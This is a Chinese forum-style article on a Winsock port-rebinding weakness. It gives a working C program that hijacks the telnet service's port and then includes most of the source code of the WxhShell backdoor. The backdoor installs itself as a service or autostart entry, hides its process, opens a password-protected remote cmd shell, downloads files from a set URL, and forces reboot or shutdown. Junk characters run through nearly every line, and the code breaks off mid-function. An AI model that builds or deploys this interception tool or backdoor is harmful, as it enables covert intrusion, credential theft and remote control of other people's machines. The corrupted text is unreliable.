在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
jwAO{.}T1r s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
B:+}^= `C_#EU- saddr.sin_family = AF_INET;
98o;_tU' G?>~w[#mQR saddr.sin_addr.s_addr = htonl(INADDR_ANY);
/i
DS#l\0 O&d(FJZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
ukq9Cjs R!}B^DVt 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
sy/J+== ][wS}~): 这意味着什么?意味着可以进行如下的攻击:
AVNB)K" 2MB\!fh 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
8q_3*++D owYfrf3ZLX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
>Z<ym|(T* |mY<TWoX 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8*6J\FE<p $`_(%tl 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
PX2Ejrwj Z''Fz(qMC 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
EsA^P2?_+ %z8@; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
=p&6A^ Er{[83
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
CdTmL{Y1 `2r21rVntf #include
t$Irr* #include
B>a`mFM #include
]~kqPw<R #include
b39;Sv|# DWORD WINAPI ClientThread(LPVOID lpParam);
>k _Z]J6Pd int main()
!v`q%JW( {
s.GTY@t WORD wVersionRequested;
w8FZXL DWORD ret;
TSHp.ABf WSADATA wsaData;
] ^ BOOL val;
D8[&}D4 SOCKADDR_IN saddr;
?ADk`ts~,} SOCKADDR_IN scaddr;
1T}|c;fc int err;
+".&A#wU SOCKET s;
mn0QVkb}lc SOCKET sc;
YhR?*Di int caddsize;
"NC(^\l/ HANDLE mt;
FopD/D{ DWORD tid;
<w{W1*R9 wVersionRequested = MAKEWORD( 2, 2 );
q. BqOa: err = WSAStartup( wVersionRequested, &wsaData );
yFJ(b%7 if ( err != 0 ) {
:*c@6;2@ printf("error!WSAStartup failed!\n");
\O7,CxD2 return -1;
2(`2 f }
@J"
} ~Y saddr.sin_family = AF_INET;
Ux zwgVT ]e?*7T] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
r OB\u|Pg nV']^3b saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
a[9;Okm# saddr.sin_port = htons(23);
Wuc,Cjm9(! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]*zF#Voc {
7M*+!al9 printf("error!socket failed!\n");
YWq[)F@0G return -1;
`4;<\VYCr }
jX+LI val = TRUE;
BLMcvK\9 //SO_REUSEADDR选项就是可以实现端口重绑定的
BKvF,f/g if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
o/=K:5 {
$I1p"6 printf("error!setsockopt failed!\n");
\?qXscq return -1;
|l)Oy#W }
TTy1a:V //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
z$;%SYI //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
lD C74g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
w2$HP/90j ?kS5=&< if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
hb?
|fi {
JZP2NB_xt ret=GetLastError();
-*yj[?6 printf("error!bind failed!\n");
Iun!rv return -1;
ap;UxWqx }
mT-5Ok&TUe listen(s,2);
g3x192f while(1)
RJtSHiM2 {
DC/CUKE.d caddsize = sizeof(scaddr);
3)dT+lZ //接受连接请求
Aoa0czC~ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
D0x+b2x^ if(sc!=INVALID_SOCKET)
L~ 1Lv? {
:B=`^>RK mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
fJ\Ys;l[j if(mt==NULL)
^ /g&Q {
bXC
0f:L printf("Thread Creat Failed!\n");
e,1Jxz4QH break;
GSpS8wWD } }
v8pUt\m" }
jl:O~UL6i CloseHandle(mt);
/9GqEQsfM }
c+4SGWmO closesocket(s);
]$*N5Y WSACleanup();
GD< Afni return 0;
(G$m}ng }
bWMM[pnL DWORD WINAPI ClientThread(LPVOID lpParam)
typ*.j[q {
%o{vD&7\ SOCKET ss = (SOCKET)lpParam;
\
2".Kb@= SOCKET sc;
(iWNvVGS unsigned char buf[4096];
W:EXL@ SOCKADDR_IN saddr;
gB~SCl54 long num;
ASu9c2s DWORD val;
Pv/P<i^ DWORD ret;
AKAAb~{ //如果是隐藏端口应用的话,可以在此处加一些判断
0/] @#G2 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
4>5%SzZT\3 saddr.sin_family = AF_INET;
W/?D}#e<4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
L<Lu;KnY6 saddr.sin_port = htons(23);
rxDule3m if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0U$6TDtmE {
X.UIFcK^ printf("error!socket failed!\n");
(Yw5X_|
return -1;
xX"?3%y> }
Tmw
:w~ val = 100;
.s2d if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^5;Y {
u\t ; ret = GetLastError();
C($`'~b return -1;
wbr"z7} }
E+ 7S:B if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
PfuYT_p4s {
0tsll1 ret = GetLastError();
W}.4$f> return -1;
4|:{apH }
8-SVgo( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
9)4N2= {
;'<K}h printf("error!socket connect failed!\n");
#lct"8 closesocket(sc);
SH`"o closesocket(ss);
<&+l;z return -1;
Y[x ^59 }
crhck'?0 while(1)
xaeY^"L {
nh E!Pk //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
\XB71DUF //如果是嗅探内容的话,可以再此处进行内容分析和记录
FG8bP //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Bj]0Cz num = recv(ss,buf,4096,0);
o[cKh7&+ if(num>0)
-rH3rKtf~ send(sc,buf,num,0);
p>!r[v' else if(num==0)
a.]
! break;
Z;n}*^U num = recv(sc,buf,4096,0);
O-&n5 if(num>0)
pP".?|n send(ss,buf,num,0);
`*N0 Lbl] else if(num==0)
Dt+"E break;
g~V{Ca;} }
CMF1<A4] closesocket(ss);
r/{VL3}F_e closesocket(sc);
)8Q|y return 0 ;
.upcUS8 }
fqZ!Bi ?>AhC{ K=B[MT#V{2 ==========================================================
6,c,i;J_ 1C|j<w=i 下边附上一个代码,,WXhSHELL
]1Q\wsB <R!qOQI ==========================================================
Hh
qx)u + S%+Ku #include "stdafx.h"
+h9CcBd Ak9W8Z} #include <stdio.h>
4ErDGYg} #include <string.h>
}e@j(*8 #include <windows.h>
_6(zG.Fg #include <winsock2.h>
{+r?g J #include <winsvc.h>
\|T0@V #include <urlmon.h>
D(r|sw
<T7y85 #pragma comment (lib, "Ws2_32.lib")
N.isvDk% #pragma comment (lib, "urlmon.lib")
I;xTyhUd %3C,jg #define MAX_USER 100 // 最大客户端连接数
>c1mwZS; #define BUF_SOCK 200 // sock buffer
6l> G>) #define KEY_BUFF 255 // 输入 buffer
4wBCs0NIm `9wz:s QtP #define REBOOT 0 // 重启
MWB uMF #define SHUTDOWN 1 // 关机
qi)(\ c?opVbJB\ #define DEF_PORT 5000 // 监听端口
+"SBt}1 Az.Y-O<$\ #define REG_LEN 16 // 注册表键长度
TVjY8L9'h #define SVC_LEN 80 // NT服务名长度
[S<DdTY9hZ i;\i4MT // 从dll定义API
Z,d/FC#y( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
@*c+`5)_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
x[>A'.m@) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
eEU: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Aa1 |{^$:L x/4lD}Pw] // wxhshell配置信息
%d?%^)
u, struct WSCFG {
{?j|]j int ws_port; // 监听端口
F\]rxl4(L char ws_passstr[REG_LEN]; // 口令
;nC+Kz: int ws_autoins; // 安装标记, 1=yes 0=no
J%[K;WjrZJ char ws_regname[REG_LEN]; // 注册表键名
2'x_zMV char ws_svcname[REG_LEN]; // 服务名
%WO;WxG8^ char ws_svcdisp[SVC_LEN]; // 服务显示名
@E==~ b char ws_svcdesc[SVC_LEN]; // 服务描述信息
~ib#x~Db char ws_passmsg[SVC_LEN]; // 密码输入提示信息
1fC|_V(0 int ws_downexe; // 下载执行标记, 1=yes 0=no
ZU:gNO0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
~pF'Qw"z| char ws_filenam[SVC_LEN]; // 下载后保存的文件名
R
UX [@\f 0R };
OsK=% aDpj h`vM+,I // default Wxhshell configuration
*wSl~J|ZM% struct WSCFG wscfg={DEF_PORT,
#Y{"`5> "xuhuanlingzhe",
&FK=w]P 1,
HML6<U-eS "Wxhshell",
3^fZUldf "Wxhshell",
2`Pk@,:_ "WxhShell Service",
Lc.7:r "Wrsky Windows CmdShell Service",
~ h:^Q "Please Input Your Password: ",
^<E,aCy 1,
"~+K`*0r8 "
http://www.wrsky.com/wxhshell.exe",
~\oJrRYR` "Wxhshell.exe"
SS`\,%aog };
vw(};)8 '/"( `f, // 消息定义模块
{bNnhW*qOu char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9j,zaGD0 char *msg_ws_prompt="\n\r? for help\n\r#>";
7"QcvV@p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
+(P;4ZOmB char *msg_ws_ext="\n\rExit.";
G_o/ lIz" char *msg_ws_end="\n\rQuit.";
Onc!5L char *msg_ws_boot="\n\rReboot...";
G!Uq#l> char *msg_ws_poff="\n\rShutdown...";
s/T5aJR char *msg_ws_down="\n\rSave to ";
Dnp^yqz* huQ1A0(no char *msg_ws_err="\n\rErr!";
pH*L8tT
char *msg_ws_ok="\n\rOK!";
O{dx+f 2N]y)S_<V char ExeFile[MAX_PATH];
Ny~;"n int nUser = 0;
JZ c5U}i HANDLE handles[MAX_USER];
M.128J+xfS int OsIsNt;
-S|L+">=Z ,{oANqP SERVICE_STATUS serviceStatus;
`#(4K4]1. SERVICE_STATUS_HANDLE hServiceStatusHandle;
l,/5$JGnk $@U`zy"Y // 函数声明
tl4;2m3w int Install(void);
SMhT>dB int Uninstall(void);
-meKaQv int DownloadFile(char *sURL, SOCKET wsh);
2?"9NQvz int Boot(int flag);
G?"1
z; void HideProc(void);
h?R-t*G? int GetOsVer(void);
6iTDk int Wxhshell(SOCKET wsl);
Fj5^_2MU: void TalkWithClient(void *cs);
97BL%_^k int CmdShell(SOCKET sock);
'WOWm$2 int StartFromService(void);
Ft|a/e int StartWxhshell(LPSTR lpCmdLine);
eIEcj<f Qv?jo(] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
=uvv|@Z VOID WINAPI NTServiceHandler( DWORD fdwControl );
J
L Z \Js9U|lY // 数据结构和表定义
=X1$K_cN SERVICE_TABLE_ENTRY DispatchTable[] =
$DQ
-.WI {
gz88$BT {wscfg.ws_svcname, NTServiceMain},
HD`%Ma
Yhc {NULL, NULL}
*;}! WDr };
'}OrFN !sLn;1l // 自我安装
6F<L4*4U
int Install(void)
:._O.O {
/R,/hiKx\ char svExeFile[MAX_PATH];
x##Iv|$ HKEY key;
Wm\f:|U5` strcpy(svExeFile,ExeFile);
`"bm Hs7 ogPfz/ hw // 如果是win9x系统,修改注册表设为自启动
ud.S,
8Sy if(!OsIsNt) {
$b8>SSz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\twlHj4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^6`R:SV4Gx RegCloseKey(key);
;m&f Vp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Jsw<,uTD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A1Zu^_y' RegCloseKey(key);
ZWr\v!4 return 0;
@4Y>)wn&; }
` n_ Z }
Y6CadC }
i&l$G55F else {
ZNx{7]=a Na`qA j} // 如果是NT以上系统,安装为系统服务
Kc(_?` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0 @,@ if (schSCManager!=0)
s$]I@;_ {
x:@e ID SC_HANDLE schService = CreateService
1'g?B` (
.N5"IY6> schSCManager,
-Rf|p(SJ,E wscfg.ws_svcname,
adxJA}K} wscfg.ws_svcdisp,
-x RsYYw SERVICE_ALL_ACCESS,
#AY+[+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
d~n+Ds)%F SERVICE_AUTO_START,
>DV0!'jW SERVICE_ERROR_NORMAL,
GRs ;-Jt svExeFile,
^L[Z+7| NULL,
).&$pXj NULL,
Ge
@d" NULL,
L72GF5+!! NULL,
n
XQg(! NULL
Jv7M[SJ#x );
0~-+5V if (schService!=0)
G3e%~ {
Dg]i}; CloseServiceHandle(schService);
k%LE"Q CloseServiceHandle(schSCManager);
]f-e/8$`@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
T^Z#x-Q strcat(svExeFile,wscfg.ws_svcname);
"=RB
# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
p3Gj=G RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
L,:U _\HQ RegCloseKey(key);
*yJb4uALB return 0;
G{s ,Y^ }
$4?%Z>' }
k20H|@g2 CloseServiceHandle(schSCManager);
8G@FX $$Q }
[6D>2b}:{[ }
t ?{B* x^;nfqn| return 1;
HnpGPGz@F }
{UhZ\qe +\E\&^ZQ // 自我卸载
Oc8+an1m int Uninstall(void)
Uligr_c? {
pu^1s#g8w HKEY key;
-ss2X Wd%j;glG if(!OsIsNt) {
4@VX%5uy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>LNl8X:Cz* RegDeleteValue(key,wscfg.ws_regname);
bb<Vh2b>R RegCloseKey(key);
}\irr9, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
y"]> Rr RegDeleteValue(key,wscfg.ws_regname);
U%#=d@? RegCloseKey(key);
(z.Vwl5 return 0;
G9gvOEI/ }
\2LCpN }
1DBzD%@Oz }
h(zi$V else {
jG/kT5S $M><K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
o]FQ)WRB if (schSCManager!=0)
R@EFG%|`_ {
WH/a#F SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
&wjOb if (schService!=0)
H1@"Yg8 {
FJD*A`a if(DeleteService(schService)!=0) {
,CdI.kV>o2 CloseServiceHandle(schService);
zZy>XHR
H CloseServiceHandle(schSCManager);
M\]E;C'"U return 0;
ZzE&? }
oNdO@i%.q4 CloseServiceHandle(schService);
H4pjtVBr }
0q3:"X CloseServiceHandle(schSCManager);
7z$+ *]9- }
*"4ltWS }
b_LzG_n! d`xqs,0f return 1;
ZqhINM*Rm }
E^qKkl '.bMkty# // 从指定url下载文件
Oll\T GXP! int DownloadFile(char *sURL, SOCKET wsh)
$51#xe {
6ZM<M7(V HRESULT hr;
d
EXw=u char seps[]= "/";
LO2sP"9 char *token;
,p2
Di char *file;
[m"X*ZF char myURL[MAX_PATH];
i.#s'm.9 char myFILE[MAX_PATH];
z6Hl+nq B \0:l9;^4 strcpy(myURL,sURL);
n
b{8zo token=strtok(myURL,seps);
5yQgGd) while(token!=NULL)
4ASc`w*0 {
_7;#0B file=token;
sI.Ezuw token=strtok(NULL,seps);
Q'rG' | }
)h/fr| >sP;B5S GetCurrentDirectory(MAX_PATH,myFILE);
3}vlj:L strcat(myFILE, "\\");
DS^Q0 f strcat(myFILE, file);
fu|I(^NV send(wsh,myFILE,strlen(myFILE),0);
e]5QqM7 send(wsh,"...",3,0);
e5AiIVlv hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
I7}[%(~Sf/ if(hr==S_OK)
&2g1Oy~ return 0;
D]0#A|nF else
7_|zMk.J* return 1;
1,/oS&?E )i?wBxq'MA }
$DQMN g6~uf4; // 系统电源模块
h;Bol int Boot(int flag)
:xA'X+d/' {
SAqX[c HANDLE hToken;
6dNo!$C^ TOKEN_PRIVILEGES tkp;
;+5eE`]a/L 7[K$os5al if(OsIsNt) {
%8v?dB;>x` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
68D.Li LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
uX p0D$a tkp.PrivilegeCount = 1;
LX3 5Lt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
S2Wxf>bt2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
L-Hl.UV if(flag==REBOOT) {
Z)ObFJMG5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
wvgX5P> return 0;
{>~|xW }
x;C\G`9N else {
ge E7<"m% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
'91Ak,cWB return 0;
!]"T`^5,Y }
cLXMq"?C }
uYs+xX_ else {
*f,EDSN1@d if(flag==REBOOT) {
+DU}f;O8v if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
8J@REP4 return 0;
EJRwyF5LK }
F&uU
,); else {
Va{`es)hky if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
_kar5B$ return 0;
u6D>^qF}@' }
VbZZ=q=Kd }
:*\JJ w ?{+}gS^ return 1;
1_F2{n:yp }
x&kF;UC khyVuWN
// win9x进程隐藏模块
y0z}[hZ void HideProc(void)
jPFA\$To {
U/TF,JUI yJ?4B?p( HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
h>fY'r)DAx if ( hKernel != NULL )
T]0qd^\4w {
+.zriiF]i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
=i `o+H ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
oo/#]a FreeLibrary(hKernel);
aiz_6@Qfz* }
;]'mx }PoB`H'K5 return;
O>}aK.H }
QV" | p6sXftk // 获取操作系统版本
k3u3X~u int GetOsVer(void)
/9i2@#J}W1 {
38rC;
6 OSVERSIONINFO winfo;
?*Jv&f# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
&,bJ]J)8O GetVersionEx(&winfo);
':J[KWuV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
V+DN<F- return 1;
$My%7S/3 else
sN;xHTY return 0;
\QQw1c+ }
h19c*,0z! Sl{]Z, // 客户端句柄模块
1*#64Y5F int Wxhshell(SOCKET wsl)
qA5tMZ^w {
RtN5\ SOCKET wsh;
^
@sg{_.~l struct sockaddr_in client;
=%p0rz|b DWORD myID;
s:6H^DQ"C )88z=5. while(nUser<MAX_USER)
3g)pLW {
7mt;qn?n int nSize=sizeof(client);
#5=Yg5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
V)C4 sG if(wsh==INVALID_SOCKET) return 1;
\&"gCv# U+URj <) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
fgq#Oi} if(handles[nUser]==0)
{Q I"WFdGx closesocket(wsh);
K&\xbT else
<-FAF:6$@@ nUser++;
r. :LZEr }
+%oXPG? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]~GwZB'M REli`"bR return 0;
yd'>Mw }
5hg:@i',
;3 O0O // 关闭 socket
>6KuZ_ void CloseIt(SOCKET wsh)
7gNJ}pLDx {
Nxp7/Nn3 closesocket(wsh);
xZwG@+U=X nUser--;
o^}K]ML!t ExitThread(0);
:!n_a*.{ }
1=}+NK! 9aHV~5 // 客户端请求句柄
gQ6_]~4 void TalkWithClient(void *cs)
]oUvC {
r".*l?= z;J"3kM SOCKET wsh=(SOCKET)cs;
}CIH1q3P char pwd[SVC_LEN];
WRe9ki=R char cmd[KEY_BUFF];
%
tT L char chr[1];
Q9Sh2qF^2 int i,j;
")}^\Om Uf4A9$R.G while (nUser < MAX_USER) {
>^=upf/ 'pa[z5{k+ if(wscfg.ws_passstr) {
;p)RMRMg if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{Cd Q)| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
I6S!-i //ZeroMemory(pwd,KEY_BUFF);
!{>'jvH i=0;
jJml[iC while(i<SVC_LEN) {
V:s$V.{! F0(P2j // 设置超时
JZ3CC f fd_set FdRead;
zmB6Y
t struct timeval TimeOut;
hSr2<?yk FD_ZERO(&FdRead);
D=Jj !; FD_SET(wsh,&FdRead);
_)XQb1] TimeOut.tv_sec=8;
oR}cE
Sr TimeOut.tv_usec=0;
i&= I5$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
<Nwqt[. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
XYj!nx{k, ])`w_y(> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%Ya%R@b} pwd
=chr[0]; W8,4LxH
if(chr[0]==0xd || chr[0]==0xa) { @G,pM: t
pwd=0; ^hiIMqY_{`
break; b~>kTO
} <NKmLAfX
i++; D`d*bNR
} A#k(0e!O
!?)ky `S3
// 如果是非法用户,关闭 socket ,a
2(h
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g\%;b3"#
} PDQEI55
XB0G7o%1
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sE:~+C6o:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CiF(
{G. W?
while(1) { *@)0TL(03
08czP-)OZ
ZeroMemory(cmd,KEY_BUFF); MD|T4PPz,}
Z uFk}R"x
// 自动支持客户端 telnet标准 ?TWve)U
j=0; *^aEUp6&
while(j<KEY_BUFF) { h@AKfE!\~
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /]pJ(FFC
cmd[j]=chr[0]; xbqFek$/r
if(chr[0]==0xa || chr[0]==0xd) { J,(@1R]KF:
cmd[j]=0; *yl?M<28
break; H1Jk_@b
} LuW>8K\
j++; yxk:5L \A
} %B}<5iO
>^:*x_a9
// 下载文件 WoV"&9y
if(strstr(cmd,"http://")) { Z=ZTSl
send(wsh,msg_ws_down,strlen(msg_ws_down),0); pmwVVUEQ
if(DownloadFile(cmd,wsh)) c~``)N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f4 k
else e'I/}J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (/gv
U80
} cV$an
else { $Z|HFV{
b!p]\B!
switch(cmd[0]) { NMs8^O|0
*jR4OY|DXH
// 帮助 [g<Y,0,J
case '?': { I|n?32F
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =y^`yv 3
break; \qf0=CPw8
} kz_gR;"(Z
// 安装 ~7=eHU.@
case 'i': { yE&WGpT
if(Install()) -.@dA'j[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /PZx['g
else Zh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t]IHQ8
break; y`,;m#frT
} jFDVd;#CS
// 卸载 D~ogq]
case 'r': { mO=A50_&,Q
if(Uninstall()) O*7vmPy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &=^YN"=Z
else pKtN$Fd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J8'1 ~$6
break;
?kIyo
} "hmLe(jo}
// 显示 wxhshell 所在路径 ty8>(N(~
case 'p': { w!dgIS$
char svExeFile[MAX_PATH]; d88Dyzz
strcpy(svExeFile,"\n\r"); 4aP 96
strcat(svExeFile,ExeFile); $fCKK&Wy
send(wsh,svExeFile,strlen(svExeFile),0); LD*XNcE
break; /8#e < p
} R 7h^
@
// 重启 [I?[N.v
case 'b': { G! Y
l0Zr
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,&~-Sq)~
if(Boot(REBOOT)) Ij>G7Q*d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -aq3Lqi
else { ?6Wv["%
closesocket(wsh); q4ttmL8
ExitThread(0); R-Ys<;
} Q7.jSL6
break; 2YDD`:R
} x2,;ar\D
// 关机 u`CHM:<<?
case 'd': { (#?O3z1@"
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a<0q%Ax
if(Boot(SHUTDOWN)) a&Qr7tTY"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); })+iAxR
else { G|oO
closesocket(wsh); G} f9:G
ExitThread(0); O3V.4tp
} ZO!h!2*
break; (%c&Km7K
} Gf
+>AjU'
// 获取shell 4bCA"QM[[
case 's': { 4_D
*xW
CmdShell(wsh); )&DsRA7v
closesocket(wsh); {,!!jeOO
ExitThread(0); -{}(U
break; ]=o1to-
} ZZw2m@T>
// 退出 &OlX CxH
case 'x': { /lC,5y
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /mA\)TL|]
CloseIt(wsh); -^)<FY\
break; <5E)6c_W)
} :>}7^1I
// 离开 @SH[<c
case 'q': { XuWX@cK
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .]H/u
"d
closesocket(wsh); &pQ[(|=(
WSACleanup(); h3bQ<?m
exit(1); 7H*,HZc@=
break; Q;N)$Xx
} \2!.
} k`#E#1niN
} |$;4/cKfy
w/^_w5
// 提示信息 b*W,8HF 4,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7;c^*"Ud
} VX*+:
} T
Xiu/g(
] g<$f#S
return; $EHFf$M
} ub!lHl
"n{';Q)
// shell模块句柄 ZbiC=uh
int CmdShell(SOCKET sock) *<:6A&'D9
{ /0cm7[a ?
STARTUPINFO si; <)pPq+
ZeroMemory(&si,sizeof(si)); ^rs{1S
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /Xj{]i3{
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k( Ik+=u
PROCESS_INFORMATION ProcessInfo; h oO847
char cmdline[]="cmd"; CDF;cM"td
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,{\Ae"{6
return 0; aS[y\9(**
} ck%.D%=
xbxzB<yL
// 自身启动模式 {Mj- $G"
int StartFromService(void) KwV!smi2
{ giH#t< )W
typedef struct Zn0a)VH%
{ KWeE!f 7G
DWORD ExitStatus; GGo~39G
DWORD PebBaseAddress; G)^/#d#&
DWORD AffinityMask;
!4`:(G59
DWORD BasePriority; }z#M!~
